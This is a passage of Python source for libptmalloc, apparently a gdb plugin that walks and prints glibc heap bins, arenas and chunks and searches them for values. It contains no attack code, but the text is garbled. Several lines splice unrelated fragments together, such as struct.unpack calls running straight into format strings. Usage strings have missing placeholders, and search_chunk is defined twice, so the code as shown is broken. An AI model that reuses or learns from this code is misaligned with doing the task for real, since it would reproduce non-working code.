self.ptchunk_callback(cbinfo)\n if extra:\n info.append(\" \" + extra)\n\n info.append(\"\\b\")\n return \"\".join(info)\n\n def search_chunk(self, p, search_for):\n \"searches a chunk. includes the chunk header in the search\"\n try:\n out_str = gdb.execute(\n \"find /1w 0x%x, 0x%x, %s\" % (p.address, p.address + p.size, search_for),\n to_string=True,\n )\n except Exception:\n # print(sys.exc_info()[0])\n self.logmsg(\"failed to execute 'find'\")\n return False\n\n str_results = out_str.split(\"\\n\")\n\n for str_result in str_results:\n if str_result.startswith(\"0x\"):\n return True\n\n return False\n\n def search_chunk(self, p, search_for, depth=0):\n \"searches a chunk. includes the chunk header in the search\"\n\n if depth == 0 or depth > self.chunksize(p):\n depth = self.chunksize(p)\n\n try:\n out_str = gdb.execute(\n \"find /1w 0x%x, 0x%x, %s\" % (p.address, p.address + depth, search_for),\n to_string=True,\n )\n except Exception:\n # print(sys.exc_info()[0])\n # print(\"[libptmalloc] failed to execute 'find'\")\n return False\n\n str_results = out_str.split(\"\\n\")\n\n for str_result in str_results:\n if str_result.startswith(\"0x\"):\n return True\n\n return False\n\n def search_heap(self, ar_ptr, search_for, min_size, max_size):\n \"\"\"walk chunks searching for specified value starting from the\n malloc_state address\"\"\"\n results = []\n\n # XXX - Use global constants for 0x440 and 0x868\n if self.SIZE_SZ == 4:\n p = pt_chunk(self, ar_ptr + 0x440 + 0x0) # need to fix\n print(\"Not supported yet, need to fix offset\")\n return\n elif self.SIZE_SZ == 8:\n # empiric offset: chunks start after the ptmalloc_state + offset\n p = pt_chunk(self, ar_ptr + 0x868 + 0x28)\n heap_size = pt_heap_info(self, self.heap_for_ptr(ar_ptr)).size\n\n while True:\n if self.chunksize(p) == 0x0:\n self.logmsg(\"sz=0x0 detected at 0x%x, assuming end of heap\" % p.address)\n break\n if p.address - ar_ptr > heap_size:\n self.logmsg(\n \"offset > heap_size detected at 0x%x, assuming end of heap\"\n % p.address\n )\n break\n if max_size == 0 or self.chunksize(p) <= max_size:\n if self.chunksize(p) >= min_size:\n # print(self.chunk_info(p)) # debug\n if self.search_chunk(p, search_for):\n results.append(p.address)\n p = pt_chunk(self, addr=(p.address + self.chunksize(p)))\n return results\n\n def print_fastbins(self, inferior, fb_base, fb_num):\n \"walk and print the fast bins\"\n\n print_title(\"Fastbins\")\n\n pad_width = 32\n\n for fb in range(0, self.NFASTBINS):\n if fb_num is not None:\n fb = fb_num\n\n offset = fb_base + fb * self.SIZE_SZ\n try:\n mem = inferior.read_memory(offset, self.SIZE_SZ)\n if self.SIZE_SZ == 4:\n fd = struct.unpack(\"{width}}\".format(int(offset), \"-> \", width=5), end=\"\")\n print_value(\"[ {:#x} ] \".format(int(fd)))\n\n if fd != 0: # fastbin is not empty\n fb_size = (self.MIN_CHUNK_SIZE) + (self.MALLOC_ALIGNMENT) * fb\n print(\"({})\".format(int(fb_size)))\n\n chunk = pt_chunk(self, fd, inuse=False)\n while chunk.fd != 0:\n if chunk.fd is None:\n # could not read memory section\n break\n\n print_value(\n \"{:>{width}}{:#x}{}\".format(\n \"[ \", int(chunk.fd), \" ] \", width=pad_width\n )\n )\n print(\"({})\".format(int(fb_size)), end=\"\")\n\n chunk = pt_chunk(self, chunk.fd, inuse=False)\n\n if fb_num is not None: # only print one fastbin\n return\n\n def print_smallbins(self, inferior, sb_base, sb_num):\n \"walk and print the small bins\"\n\n print_title(\"Smallbins\")\n\n pad_width = 33\n\n for sb in range(2, self.NBINS + 2, 2):\n if sb_num is not None and sb_num != 0:\n sb = sb_num * 2\n\n offset = sb_base + (sb - 2) * self.SIZE_SZ\n try:\n mem = inferior.read_memory(offset, 2 * self.SIZE_SZ)\n if self.SIZE_SZ == 4:\n fd, bk = struct.unpack(\"{width}}\".format(int(offset), \"-> \", width=5), end=\"\")\n print_value(\"[ {:#x} | {:#x} ] \".format(int(fd), int(bk)))\n\n while 1:\n if fd == (offset - 2 * self.SIZE_SZ):\n break\n\n chunk = pt_chunk(self, fd, inuse=False)\n print(\"\")\n print_value(\n \"{:>{width}}{:#x} | {:#x} ] \".format(\n \"[ \", int(chunk.fd), int(chunk.bk), width=pad_width\n )\n )\n print(\"({})\".format(int(self.chunksize(chunk))), end=\"\")\n fd = chunk.fd\n\n if sb_num is not None: # only print one smallbin\n return\n\n def print_bins(self, inferior, fb_base, sb_base):\n \"walk and print the nonempty free bins, modified from jp\"\n\n print_title(\"Heap Dump\")\n\n for fb in range(0, self.NFASTBINS):\n print_once = True\n p = pt_chunk(\n self, fb_base - (2 * self.SIZE_SZ) + fb * self.SIZE_SZ, inuse=False\n )\n\n while p.fd != 0:\n if p.fd is None:\n break\n\n if print_once:\n print_once = False\n print_header(\"fast bin {} @ {:#x}\".format(fb, int(p.fd)))\n print(\"\\n\\tfree chunk @ \", end=\"\")\n print_value(\"{:#x} \".format(int(p.fd)))\n print(\"- size \", end=\"\")\n p = pt_chunk(self, p.fd, inuse=False)\n print_value(\"{:#x} \".format(int(self.chunksize(p))))\n\n for i in range(1, self.NBINS):\n print_once = True\n b = sb_base + i * 2 * self.SIZE_SZ - 4 * self.SIZE_SZ\n p = pt_chunk(self, self.first(pt_chunk(self, b, inuse=False)), inuse=False)\n\n while p.address != int(b):\n print(\"\")\n if print_once:\n print_once = False\n if i == 1:\n try:\n print_header(\"unsorted bin @ \")\n print_value(\n \"{:#x}\".format(\n int(\n b.cast(gdb.lookup_type(\"unsigned long\"))\n + 2 * self.SIZE_SZ\n )\n )\n )\n except Exception:\n print_header(\"unsorted bin @ \")\n print_value(\"{:#x}\".format(int(b + 2 * self.SIZE_SZ)))\n else:\n try:\n print_header(\"small bin {} @ \".format(i))\n print_value(\n \"{:#x}\".format(\n int(\n b.cast(gdb.lookup_type(\"unsigned long\"))\n + 2 * self.SIZE_SZ\n )\n )\n )\n except Exception:\n print_header(\"small bin {} @ \".format(i))\n print_value(\"{:#x}\".format(int(b + 2 * self.SIZE_SZ)))\n\n print(\"\\n\\tfree chunk @ \", end=\"\")\n print_value(\"{:#x} \".format(int(p.address)))\n print(\"- size \", end=\"\")\n print_value(\"{:#x}\".format(int(self.chunksize(p))))\n p = pt_chunk(self, self.first(p), inuse=False)\n\n def print_flat_listing(self, ar_ptr, sbrk_base):\n \"print a flat listing of an arena, modified from jp and arena.c\"\n\n print_title(\"Heap Dump\")\n print_header(\"\\n{:>14}{:>17}{:>15}\\n\".format(\"ADDR\", \"SIZE\", \"STATUS\"))\n print(\"sbrk_base \", end=\"\")\n print(\"{:#x}\".format(int(sbrk_base)))\n\n p = pt_chunk(self, sbrk_base, inuse=True)\n\n while 1:\n print(\n \"chunk {:#x}{:>11}{:<8x}{:>3}\".format(\n int(p.address), \"0x\", int(self.chunksize(p)), \"\"\n ),\n end=\"\",\n )\n\n if p.address == self.top(ar_ptr):\n print(\"(top)\")\n break\n elif p.size == (0 | self.PREV_INUSE):\n print(\"(fence)\")\n break\n\n if self.inuse(p):\n print(\"(inuse)\")\n else:\n p = pt_chunk(self, p.address, inuse=False)\n print(\"(F) FD \", end=\"\")\n print_value(\"{:#x} \".format(int(p.fd)))\n print(\"BK \", end=\"\")\n print_value(\"{:#x} \".format(int(p.bk)))\n\n if (\n (p.fd == ar_ptr.last_remainder)\n and (p.bk == ar_ptr.last_remainder)\n and (ar_ptr.last_remainder != 0)\n ):\n print(\"(LR)\")\n elif (p.fd == p.bk) & ~self.inuse(p):\n print(\"(LC)\")\n else:\n print(\"\")\n\n p = pt_chunk(self, self.next_chunk(p), inuse=True)\n\n print(\"sbrk_end \", end=\"\")\n print(\"{:#x}\".format(int(sbrk_base + ar_ptr.max_system_mem)), end=\"\")\n\n def print_compact_listing(self, ar_ptr, sbrk_base):\n \"print a compact layout of the heap, modified from jp\"\n\n print_title(\"Heap Dump\")\n p = pt_chunk(self, sbrk_base, inuse=True)\n\n while 1:\n if p.address == self.top(ar_ptr):\n sys.stdout.write(\"|T|\\n\")\n break\n\n if self.inuse(p):\n sys.stdout.write(\"|A|\")\n else:\n p = pt_chunk(self, p.address, inuse=False)\n\n if (\n (p.fd == ar_ptr.last_remainder)\n and (p.bk == ar_ptr.last_remainder)\n and (ar_ptr.last_remainder != 0)\n ):\n sys.stdout.write(\"|L|\")\n else:\n sys.stdout.write(\"|%d|\" % self.bin_index(p.size))\n\n p = pt_chunk(self, self.next_chunk(p), inuse=True)\n\n def dispatch_callback(self, p, debug=False, caller=\"ptchunk\"):\n if self.ptchunk_callback is not None:\n size = self.chunksize(p) - p.hdr_size\n if p.data_address is not None:\n # We can provide an excess of information and the\n # callback can choose what to use\n cbinfo = {}\n # XXX - Don't know if we need to send all this\n cbinfo[\"caller\"] = \"ptchunk_info\"\n cbinfo[\"allocator\"] = \"ptmalloc\"\n cbinfo[\"addr\"] = p.data_address\n cbinfo[\"hdr_sz\"] = p.hdr_size\n cbinfo[\"chunksz\"] = self.chunksize(p)\n cbinfo[\"min_hdr_sz\"] = self.INUSE_HDR_SZ\n cbinfo[\"data_size\"] = size\n cbinfo[\"inuse\"] = p.inuse\n # cbinfo[\"chunk_info\"] = True\n cbinfo[\"size_sz\"] = self.SIZE_SZ\n if p.from_mem:\n cbinfo[\"mem\"] = p.mem[p.hdr_size :]\n\n return self.ptchunk_callback(cbinfo)\n\n\n################################################################################\n# STRUCTURES\n################################################################################\n\n# similar to *_structure in other files\nclass pt_structure(object):\n def __init__(self, pt, inferior=None):\n self.pt = pt\n self.is_x86 = self.pt.SIZE_SZ == 4\n self.initOK = True\n self.address = None\n\n if is_gdb and inferior is None:\n self.inferior = hgdb.get_inferior()\n if self.inferior == -1:\n self.pt.logmsg(\"Error obtaining gdb inferior\")\n self.initOK = False\n return\n else:\n self.inferior = inferior\n\n def _get_cpu_register(self, reg):\n \"\"\"\n Get the value holded by a CPU register\n \"\"\"\n\n expr = \"\"\n if reg[0] == \"$\":\n expr = reg\n else:\n expr = \"$\" + reg\n\n try:\n val = self._normalize_long(long(gdb.parse_and_eval(expr)))\n except Exception:\n print(\"Have you run the process? Can't retrieve registers\")\n return None\n return val\n\n def _normalize_long(self, l):\n return (0xFFFFFFFF if self.is_x86 else 0xFFFFFFFFFFFFFFFF) & l\n\n def _is_register(self, s):\n \"\"\"\n bin_size Is it a valid register ?\n \"\"\"\n x86_reg = [\"eax\", \"ebx\", \"ecx\", \"edx\", \"esi\", \"edi\", \"esp\", \"ebp\", \"eip\"]\n x64_reg = [\"rax\", \"rbx\", \"rcx\", \"rdx\", \"rsi\", \"rdi\", \"rsp\", \"rbp\", \"rip\"] + [\n \"r%d\" % i for i in range(8, 16)\n ]\n\n if s[0] == \"$\":\n s = s[1:]\n\n if s in (x86_reg if self.is_x86 else x64_reg):\n return True\n return False\n\n def _parse_base_offset(self, r):\n base = r\n offset = 0\n if \"+\" in r:\n # we assume it is a register or address + a hex value\n tmp = r.split(\"+\")\n base = tmp[0]\n offset = int(tmp[1], 16)\n if \"-\" in r:\n # we assume it is a register or address - a hex value\n tmp = r.split(\"-\")\n base = tmp[0]\n offset = int(tmp[1], 16) * -1\n if self._is_register(base):\n base = self._get_cpu_register(base)\n if not base:\n return None\n else:\n try:\n # we assume it's an address\n base = int(base, 16)\n except Exception:\n print(\"Error: not an address\")\n return None\n return base, offset\n\n def validate_addr(self, addr):\n if addr is None or addr == 0:\n print(\"[libptmalloc] invalid address\")\n self.initOK = False\n self.address = None\n return False\n elif type(addr) == str:\n res = self._parse_base_offset(addr)\n if res is None:\n self.pt.logmsg(\n 'First arg MUST be either an address or a register (+ optional offset)\"'\n )\n self.initOK = False\n return False\n self.address = res[0] + res[1]\n else:\n self.address = addr\n return True\n\n\n################################################################################\nclass pt_chunk(pt_structure):\n \"python representation of a struct malloc_chunk\"\n\n def __init__(self, pt, addr=None, mem=None, size=None, inferior=None, inuse=None):\n super(pt_chunk, self).__init__(pt, inferior)\n if not self.initOK:\n return\n\n self.prev_size = 0\n self.size = 0\n # free specific\n self.fd = None\n self.bk = None\n # large blocks specific + free specific\n self.fd_nextsize = None\n self.bk_nextsize = None\n\n # actual chunk flags\n self.cinuse_bit = 0\n\n # fast chunk do not have their cinuse bit set when they are free\n # instead we keep the info here\n self.fastchunk_freed = False\n\n # general indicator if we are inuse\n self.inuse = inuse\n\n self.data_address = None\n self.hdr_size = 0\n\n self.mem = mem\n self.from_mem = False\n\n if not self.validate_addr(addr):\n return\n\n # read the minimum chunk size first to determine the chunk size\n # this also treats the case where chunk is inuse\n if mem is None:\n # a string of raw memory was not provided\n try:\n mem = self.inferior.read_memory(addr, self.pt.INUSE_HDR_SZ)\n except TypeError:\n self.pt.logmsg(\"Invalid address specified.\")\n self.initOK = False\n return\n except RuntimeError:\n self.pt.logmsg(\"Could not read address {0:#x}\".format(addr))\n self.initOK = False\n return\n else:\n self.from_mem = True\n # a string of raw memory was provided\n if self.inuse is True:\n if len(mem) < self.pt.INUSE_HDR_SZ:\n self.pt.logmsg(\"Insufficient memory provided for a malloc_chunk.\")\n self.initOK = False\n return\n else:\n if len(mem) < self.pt.FREE_HDR_SZ:\n self.pt.logmsg(\"Insufficient memory provided for a free chunk.\")\n self.initOK = False\n return\n if self.pt.SIZE_SZ == 4:\n (self.prev_size, self.size) = struct.unpack_from(\"\")\n self.pt.logmsg(\n \" disable temporarily disable the registered callback\"\n )\n self.pt.logmsg(\" enable enable the registered callback\")\n self.pt.logmsg(\" status check if a callback is registered\")\n self.pt.logmsg(\" clear forget the registered callback\")\n self.pt.logmsg(\" register use a global function as callback\")\n self.pt.logmsg(\n \" register use a global function as callback from \"\n )\n\n def invoke(self, arg, from_tty):\n if arg == \"\":\n self.help()\n return\n\n arg = arg.lower()\n if arg.find(\"enable\") != -1:\n self.pt.ptchunk_callback = self.pt.ptchunk_callback_cached\n self.pt.logmsg(\"callback enabled\")\n if self.pt.ptchunk_callback is None:\n self.pt.logmsg(\"NOTE: callback was enabled, but is unset\")\n elif arg.find(\"disable\") != -1:\n self.pt.ptchunk_callback_cached = self.pt.ptchunk_callback\n self.pt.ptchunk_callback = None\n self.pt.logmsg(\"callback disabled\")\n elif arg.find(\"clear\") != -1:\n self.pt.ptchunk_callback = None\n self.pt.ptchunk_callback_cached = None\n self.pt.logmsg(\"callback cleared\")\n elif arg.find(\"status\") != -1:\n if self.pt.ptchunk_callback:\n self.pt.logmsg(\"a callback is registered and enabled\")\n elif (\n self.pt.ptchunk_callback is None and self.pt.ptchunk_callback_cached\n ):\n self.pt.logmsg(\"a callback is registered and disabled\")\n else:\n self.pt.logmsg(\"a callback is not registered\")\n elif arg.find(\"register\") != -1:\n args = arg.split(\" \")\n if len(args) < 2:\n self.pt.logmsg(\"[!] Must specify object name\")\n self.help()\n return\n if args[1] not in globals():\n if len(args) == 3:\n try:\n modpath = os.path.dirname(args[2])\n modname = os.path.basename(args[2])\n if modpath != \"\":\n if modpath[0] == \"/\":\n sys.path.insert(0, modpath)\n else:\n sys.path.insert(\n 0, os.path.join(os.getcwd(), modpath)\n )\n mod = importlib.import_module(modname)\n importlib.reload(mod)\n if args[1] in dir(mod):\n self.pt.ptchunk_callback = getattr(mod, args[1])\n self.pt.ptchunk_callback_cached = None\n except Exception as e:\n self.pt.logmsg(\"[!] Couldn't load module: %s\" % args[2])\n print(e)\n else:\n self.pt.logmsg(\n \"[!] Couldn't find object %s. Specify module\" % args[1]\n )\n self.help()\n else:\n self.pt.ptchunk_callback = globals()[args[1]]\n self.pt.ptchunk_callback_cached = None\n self.pt.logmsg(\"%s registered as callback\" % args[1])\n else:\n self.help()\n\n ################################################################################\n class ptchunk(ptcmd):\n \"print a comprehensive view of a ptchunk\"\n\n def __init__(self, pt):\n super(ptchunk, self).__init__(pt, \"ptchunk\")\n\n def help(self):\n self.pt.logmsg(\n \"usage: ptchunk [-v] [-f] [-x] [-p offset] [-c ] [-s ] \"\n )\n self.pt.logmsg(\" -v use verbose output (multiples for more verbosity)\")\n self.pt.logmsg(\" -f use explicitly, rather than be smart\")\n self.pt.logmsg(\" -x hexdump the chunk contents\")\n self.pt.logmsg(\" -m max bytes to dump with -x\")\n self.pt.logmsg(\" -c number of chunks to print\")\n self.pt.logmsg(\" -s search pattern when print chunks\")\n self.pt.logmsg(\" --depth how far into each chunk to search\")\n self.pt.logmsg(\" -d debug and force printing stuff\")\n self.pt.logmsg(\n \" -n do not output the trailing newline (summary representation)\"\n )\n self.pt.logmsg(\n \" -p print data inside at given offset (summary representation)\"\n )\n self.pt.logmsg(\" a ptmalloc chunk header\")\n self.pt.logmsg(\"Flag legend: P=PREV_INUSE, M=MMAPPED, N=NON_MAIN_ARENA\")\n return\n\n def invoke(self, arg, from_tty):\n try:\n self.invoke_(arg, from_tty)\n except Exception:\n h.show_last_exception()\n\n @hgdb.has_inferior\n def invoke_(self, arg, from_tty):\n \"Usage can be obtained via ptchunk -h\"\n if arg == \"\":\n self.help()\n return\n\n verbose = 0\n force = False\n hexdump = False\n no_newline = False\n maxbytes = 0\n\n c_found = False\n m_found = False\n s_found = False\n p_found = False\n search_val = None\n search_depth = 0\n depth_found = False\n debug = False\n count_ = 1\n print_offset = None\n addresses = []\n for item in arg.split():\n if m_found:\n if item.find(\"0x\") != -1:\n maxbytes = int(item, 16)\n else:\n maxbytes = int(item)\n m_found = False\n if c_found:\n count_ = int(item)\n c_found = False\n elif p_found:\n try:\n print_offset = int(item)\n except ValueError:\n print_offset = int(item, 16)\n p_found = False\n elif item.find(\"-v\") != -1:\n verbose += 1\n elif item.find(\"-f\") != -1:\n force = True\n elif item.find(\"-n\") != -1:\n no_newline = True\n elif item.find(\"-x\") != -1:\n hexdump = True\n elif item.find(\"-m\") != -1:\n m_found = True\n elif item.find(\"-c\") != -1:\n c_found = True\n elif item.find(\"-p\") != -1:\n p_found = True\n elif s_found:\n if item.find(\"0x\") != -1:\n search_val = item\n s_found = False\n elif depth_found:\n if item.find(\"0x\") != -1:\n search_depth = int(item, 16)\n else:\n search_depth = int(item)\n depth_found = False\n # XXX Probably make this a helper\n elif item.find(\"0x\") != -1:\n if item.find(\"-\") != -1 or item.find(\"+\") != -1:\n addr = self.parse_var(item)\n else:\n try:\n addr = int(item, 16)\n except ValueError:\n addr = self.parse_var(item)\n addresses.append(addr)\n elif item.find(\"-s\") != -1:\n s_found = True\n elif item.find(\"--depth\") != -1:\n depth_found = True\n\n elif item.find(\"$\") != -1:\n addr = self.parse_var(item)\n addresses.append(addr)\n elif item.find(\"-d\") != -1:\n debug = True # This is an undocumented dev option\n elif item.find(\"-h\") != -1:\n self.help()\n return\n\n if not addresses or None in addresses:\n self.pt.logmsg(\"WARNING: No address supplied?\")\n self.help()\n return\n\n bFirst = True\n for addr in addresses:\n if bFirst:\n bFirst = False\n else:\n print(\"-\" * 60)\n count = count_\n p = pt_chunk(self.pt, addr)\n if p.initOK is False:\n return\n dump_offset = 0\n while True:\n suffix = \"\"\n if search_val is not None:\n # Don't print if the chunk doesn't have the pattern\n if not self.pt.search_chunk(p, search_val, depth=search_depth):\n suffix += \" [NO MATCH]\"\n else:\n suffix += \" [MATCH]\"\n # XXX - the current representation is not really generic as we print the first short\n # as an ID and the second 2 bytes as 2 characters. We may want to support passing the\n # format string as an argument but this is already useful\n if print_offset is not None:\n mem = hgdb.get_inferior().read_memory(\n p.data_address + print_offset, 4\n )\n (id_, desc) = struct.unpack_from(\"] \")\n self.pt.logmsg(\n \" a ptmalloc mstate struct. Optional with cached mstate\"\n )\n self.pt.logmsg(\" -v use verbose output (multiples for more verbosity)\")\n self.pt.logmsg(\" -l list arenas only\")\n self.pt.logmsg(\" NOTE: Last defined mstate will be cached for future use\")\n return\n\n @hgdb.has_inferior\n def list_arenas(self, arena_address=None):\n if arena_address is None:\n if self.pt.pt_cached_mstate is None:\n self.pt.logmsg(\"WARNING: No cached arena\")\n\n try:\n main_arena = gdb.selected_frame().read_var(\"main_arena\")\n arena_address = main_arena.address\n except RuntimeError:\n self.pt.logmsg(\"No gdb frame is currently selected.\")\n return\n except ValueError:\n try:\n res = gdb.execute(\"x/x &main_arena\", to_string=True)\n arena_address = int(res.strip().split()[0], 16)\n except gdb.error:\n self.pt.logmsg(\"WARNING: Debug glibc was not found.\")\n return\n\n # XXX - we don't support that yet\n\n self.pt.logmsg(\n \"Guessing main_arena address via offset from libc.\"\n )\n\n # find heap by offset from end of libc in /proc\n # XXX - need to test this inferior call\n libc_end, heap_begin = read_proc_maps(inferior.pid)\n\n if self.pt.SIZE_SZ == 4:\n # __malloc_initialize_hook + 0x20\n # offset seems to be +0x380 on debug glibc,\n # +0x3a0 otherwise\n arena_address = libc_end + 0x3A0\n elif self.pt.SIZE_SZ == 8:\n # offset seems to be +0xe80 on debug glibc,\n # +0xea0 otherwise\n self.pt.arena_address = libc_end + 0xEA0\n\n if libc_end == -1:\n self.pt.logmsg(\"Invalid address read via /proc\")\n return\n\n else:\n self.pt.logmsg(\"Using cached mstate\")\n ar_ptr = self.pt.pt_cached_mstate\n else:\n if arena_address == 0 or arena_address is None:\n self.pt.logmsg(\"Invalid arena address (0)\")\n return\n ar_ptr = self.pt_arena(self.pt, arena_address)\n\n if ar_ptr.next == 0:\n self.pt.logmsg(\"No arenas could be correctly guessed.\")\n self.pt.logmsg(\"Nothing was found at {0:#x}\".format(ar_ptr.address))\n return\n\n print(\"Arena(s) found:\")\n try:\n # arena address obtained via read_var\n print(\n \"\\t arena @ {:#x}\".format(\n int(ar_ptr.address.cast(gdb.lookup_type(\"unsigned long\")))\n )\n )\n except Exception:\n # arena address obtained via -a\n print(\"\\t arena @ {:#x}\".format(int(ar_ptr.address)))\n\n if ar_ptr.address != ar_ptr.next:\n # we have more than one arena\n\n curr_arena = pt_arena(self.pt, ar_ptr.next)\n while ar_ptr.address != curr_arena.address:\n print(\"\\t arena @ {:#x}\".format(int(curr_arena.address)))\n curr_arena = pt_arena(self.pt, curr_arena.next)\n\n if curr_arena.address == 0:\n print(\"No arenas could be correctly found.\")\n break # breaking infinite loop\n\n def invoke(self, arg, from_tty):\n try:\n self.invoke_(arg, from_tty)\n except Exception:\n h.show_last_exception()\n\n @hgdb.has_inferior\n def invoke_(self, arg, from_tty):\n\n if self.pt.pt_cached_mstate is None and (arg is None or arg == \"\"):\n self.pt.logmsg(\"Neither arena cached nor argument specified\")\n self.help()\n return\n\n verbose = 0\n list_only = False\n p = None\n if arg is not None:\n for item in arg.split():\n if item.find(\"-v\") != -1:\n verbose += 1\n if item.find(\"-l\") != -1:\n list_only = True\n elif item.find(\"0x\") != -1:\n p = int(item, 16)\n elif item.find(\"$\") != -1:\n p = self.parse_var(item)\n elif item.find(\"-h\") != -1:\n self.help()\n return\n\n if list_only:\n self.list_arenas(p)\n return\n\n if p is None and self.pt.pt_cached_mstate is None:\n self.pt.logmsg(\"WARNING: No address supplied?\")\n self.help()\n return\n\n if p is not None:\n p = self.pt_arena(self.pt, p)\n self.pt.logmsg(\"Caching mstate\")\n self.pt.pt_cached_mstate = p\n else:\n self.pt.logmsg(\"Using cached mstate\")\n p = self.pt.pt_cached_mstate\n\n if verbose == 0:\n print(p)\n elif verbose == 1:\n print(p)\n\n ###########################################################################\n # XXX - quite slow. Filter by arena or allow that we give it a starting\n # address\n class ptsearch(ptcmd):\n def __init__(self, pt):\n super(ptsearch, self).__init__(pt, \"ptsearch\")\n\n def help(self):\n print(\n \"[libptmalloc] usage: ptsearch -a \"\n )\n\n def invoke(self, arg, from_tty):\n try:\n self.invoke_(arg, from_tty)\n except Exception:\n h.show_last_exception()\n\n def invoke_(self, arg, from_tty):\n if arg == \"\":\n self.help()\n return\n arg = arg.split()\n # if arg[0].find(\"0x\") == -1 or (len(arg[0]) != 10 and len(arg[0]) != 18):\n # self.pt.logmsg(\"you need to provide a word or giant word for hex\")\n # return\n search_for = arg[0]\n if len(arg) > 3:\n self.help()\n return\n if len(arg) >= 2:\n max_size = int(arg[1], 16)\n else:\n max_size = 0\n if len(arg) == 3:\n min_size = int(arg[1], 16)\n else:\n min_size = 0\n\n if self.pt.pt_cached_mstate is None:\n print(\"ERROR: Cache an arena address using ptarena\")\n return\n ar_ptr = self.pt.pt_cached_mstate\n arena_address = ar_ptr.address\n\n # we skip the main arena as it is in .data\n ar_ptr = ar_ptr.next\n\n while ar_ptr != arena_address:\n self.pt.logmsg(\n \"Handling arena @ 0x%x\" % pt_arena(self.pt, ar_ptr).address\n )\n\n results = self.pt.search_heap(ar_ptr, search_for, min_size, max_size)\n\n if len(results) == 0:\n print(\"[libptmalloc] value %s not found\" % (search_for))\n return\n\n for result in results:\n self.pt.logmsg(\n \"%s found in chunk at 0x%lx\" % (search_for, int(result))\n )\n\n ar_ptr = pt_arena(self.pt, ar_ptr).next\n\n ###########################################################################\n class ptbin(ptcmd):\n \"dump the layout of a free bin\"\n\n def __init__(self, pt):\n super(ptbin, self).__init__(pt, \"ptbin\")\n\n def invoke(self, arg, from_tty):\n \"Specify an optional arena addr: ptbin main_arena=0x12345\"\n\n if len(arg) == 0:\n print_error(\"Please specify the free bin to dump\")\n return\n\n try:\n if arg.find(\"main_arena\") == -1:\n main_arena = gdb.selected_frame().read_var(\"main_arena\")\n main_arena_address = main_arena.address\n else:\n arg = arg.split()\n for item in arg:\n if item.find(\"main_arena\") != -1:\n if len(item) < 12:\n print_error(\"Malformed main_arena parameter\")\n return\n else:\n main_arena_address = int(item[11:], 16)\n except RuntimeError:\n print_error(\"No frame is currently selected.\")\n return\n except ValueError:\n print_error(\"Debug glibc was not found.\")\n return\n\n if main_arena_address == 0:\n print_error(\"Invalid main_arena address (0)\")\n return\n\n ar_ptr = pt_arena(self.pt, main_arena_address)\n hgdb.mutex_lock(ar_ptr)\n\n print_title(\"Bin Layout\")\n\n b = self.pt.bin_at(ar_ptr, int(arg))\n p = pt_chunk(self.pt, self.pt.first(pt_chunk(b, inuse=False)), inuse=False)\n print_once = True\n print_str = \"\"\n count = 0\n\n while p.address != int(b):\n if print_once:\n print_once = False\n print_str += \"--> \"\n print_str += color_value(\"[bin {}]\".format(int(arg)))\n count += 1\n\n print_str += \" <--> \"\n print_str += color_value(\"{:#x}\".format(int(p.address)))\n count += 1\n p = pt_chunk(self.pt, self.pt.first(p), inuse=False)\n\n if len(print_str) != 0:\n print_str += \" <--\"\n print(print_str)\n print(\"|{}|\".format(\" \" * (len(print_str) - 2 - count * 12)))\n print(\"{}\".format(\"-\" * (len(print_str) - count * 12)))\n else:\n print(\"Bin {} empty.\".format(int(arg)))\n\n hgdb.mutex_unlock(ar_ptr)\n\n ###########################################################################\n def get_arenas(pt):\n try:\n arenas = []\n bin_name = hgdb.get_info()\n log = logger()\n\n if pt.pt_cached_mstate is None:\n log.logmsg(\"WARNING: Need cached main_arena. Use ptarena first.\")\n return\n main_arena = pt.pt_cached_mstate.address\n\n res = gdb.execute(\"ptarena -l 0x%x\" % main_arena, to_string=True)\n res = res.split(\"\\n\")\n # format is: ['Arena(s) found:', '\\t arena @ 0x7ffff4c9b620', '\\t arena @ 0x7fffa4000020', ... ]\n for line in res:\n result = re.match(\"\\t arena @ (.*)\", line)\n if result:\n arenas.append(int(result.group(1), 16))\n arenas.sort()\n return arenas\n except Exception as e:\n h.show_last_exception()\n\n # infile.txt needs to contains something like:\n # 0x7fffc03cc650\n # 0x7fffb440cae0\n # 0x7fffb440c5e0\n # XXX - we could just save all arenas when doing ptarena -l in the first\n # place\n arenas = None\n\n class ptarenaof(ptcmd):\n def __init__(self, pt):\n super(ptarenaof, self).__init__(pt, \"ptarenaof\")\n\n def help(self):\n self.logmsg(\"usage: ptarenaof |\")\n self.logmsg(\" a ptmalloc chunk header\")\n self.logmsg(\n \" a filename for a file containing one ptmalloc chunk header address per line\"\n )\n return\n\n def invoke(self, arg, from_tty):\n global arenas\n try:\n if arg == \"\" or arg == \"-h\":\n self.help()\n return\n\n if self.pt.pt_cached_mstate is None:\n self.logmsg(\"WARNING: Need cached main_arena. Use ptarena first.\")\n self.help()\n return\n\n arg = arg.split()\n try:\n addresses = [int(arg[0], 16)]\n except ValueError:\n self.logmsg(\"Reading from file: %s\" % arg[0])\n fd = open(arg[0], \"r\")\n addresses = [int(l[:-1], 16) for l in fd]\n\n if not arenas:\n self.logmsg(\"Loading arenas\")\n arenas = get_arenas(self.pt)\n # self.logmsg(\"Found arenas: \" + \"\".join([\"0x%x, \" % a for a in arenas]))\n\n addr_seen = set([])\n for addr in addresses:\n ar = addr & 0xFFFFFFFFFF000000\n ar += 0x20\n if ar not in arenas:\n # self.logmsg(\"Warning: arena not found for 0x%x, finding closest candidate\" % addr)\n # we previously sorted arenas so we can easily find it\n bFound = False\n for i in range(len(arenas) - 1):\n if ar >= arenas[i] and ar < arenas[i + 1]:\n ar = arenas[i]\n bFound = True\n break\n if not bFound:\n if ar > arenas[-1]:\n ar = arenas[-1]\n else:\n self.logmsg(\n \"Could not find arena for 0x%x, skipping\" % addr\n )\n continue\n if ar not in addr_seen:\n # self.logmsg(\"arena: 0x%x\" % ar)\n addr_seen.add(ar)\n if addr_seen:\n self.logmsg(\n \"Seen arenas: \"\n + \"\".join([\"0x%x,\" % a for a in sorted(list(addr_seen))])\n )\n except Exception:\n h.show_last_exception()\n\n ###########################################################################\n # E.g. usage:\n # (gdb) ptscanchunks 0x7fffb4000020,0x7fffbc000020\n class ptscanchunks(ptcmd):\n def __init__(self, pt):\n super(ptscanchunks, self).__init__(pt, \"ptscanchunks\")\n\n def help(self):\n self.logmsg(\"usage: ptscanchunks []\")\n self.logmsg(\" comma separated list of arena addresses\")\n return\n\n def invoke(self, arg, from_tty):\n try:\n if arg == \"\":\n self.help()\n return\n\n arg = arg.split(\",\")\n if arg[-1] == \"\":\n arg = arg[:-1]\n\n for ar in arg:\n addr = int(ar, 16)\n # XXX - fix that empirically first chunk is NOT 